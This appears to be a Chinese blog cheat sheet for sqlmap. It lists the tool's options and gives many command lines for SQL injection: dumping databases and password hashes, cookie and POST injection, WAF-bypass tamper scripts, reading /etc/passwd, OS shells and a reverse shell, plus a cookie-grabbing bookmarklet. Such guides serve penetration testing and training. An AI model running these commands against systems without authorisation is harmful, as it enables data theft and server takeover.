赞
踩
①选项
-h,--help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
②目标
-u 目标URL
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
③请求
--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
④注入
-p 测试参数
例: sqlmap -r bp.txt -p "username"
--skip-static 跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
⑤检测
--level=LEVEL 执行测试的等级(1-5,默认为1)
lv2:cookie; lv3:user-agent,refere; lv5:host
在sqlmap/xml/payloads文件内可以看见各个level发送的payload 我常使用--level 3
--risk=RISK 执行测试的风险(0-3,默认为1)
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1
⑥枚举
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
--search 搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
⑦文件操作
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
⑧操作系统访问
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
os-shell使用条件
网站必须是root权限(current_user()='root')
网站的绝对路径
GPC为off(默认为off)
⑨基本用法
./sqlmap.py -u “注入地址” -v 1 -–dbs // 列举数据库
./sqlmap.py -u “注入地址” -v 1 -–current-db // 当前数据库
./sqlmap.py -u “注入地址” -v 1 -–users // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 -–current-user // 当前用户
./sqlmap.py -u “注入地址” -v 1 -–tables -D “数据库” // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 -–columns -T “表名” -D “数据库” // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 --count -D “数据库” // 获取某个数据库某表的数据总和
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
.检测时所用技术
--technique
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
2. sqlmap post注入
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www,2cto,com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。
3,sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″ –dbs –level 2
4. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
利用sqlmap cookies注入突破用户登录继续注入
先把用户登陆的cookie拿到吧,
在收藏夹添加一个链接cookies属性:
名字自己取
javascript:alert(document.cookie),,需要获取当前cookie的时候,
直接点一下这个链接,然后复制一下弹出对话框
里的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
5. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号
1
./sqlmap.py -u “http://www,cunlide,com/id1/1*/id2/2“
6.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #获取字段内容
--threads 10 设置线程
******************信息获取******************
sqlmap -u “ –smart –dbms “Mysql” –users #列数据库用户
sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库
sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限
sqlmap -u “ –smart –dbms “Mysql” --is-dba -v 1 #是否是数据库管理员
sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ #指定关键词
sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令 sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell
sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度
sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢复已保存进度
⑩一些技巧
--technique=xx 清楚缓存重跑
--search -T "%user%" 查找全部带 user的
--technique=b 检测是否bool(布尔型)注入
--random-agent 模拟浏览器访问
--current-db 看当前库
--tamper=between --tamper使用脚本过WAF 使用一个叫 between的脚本 作用:用between替换大于号(>)
-v 3 -v 10 #看详细注入语句
--level=5 --risk=3 # 使用级别5 风险级别3的语句 来尝试注入
--flush-session #刷新当前目标的会话文件
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。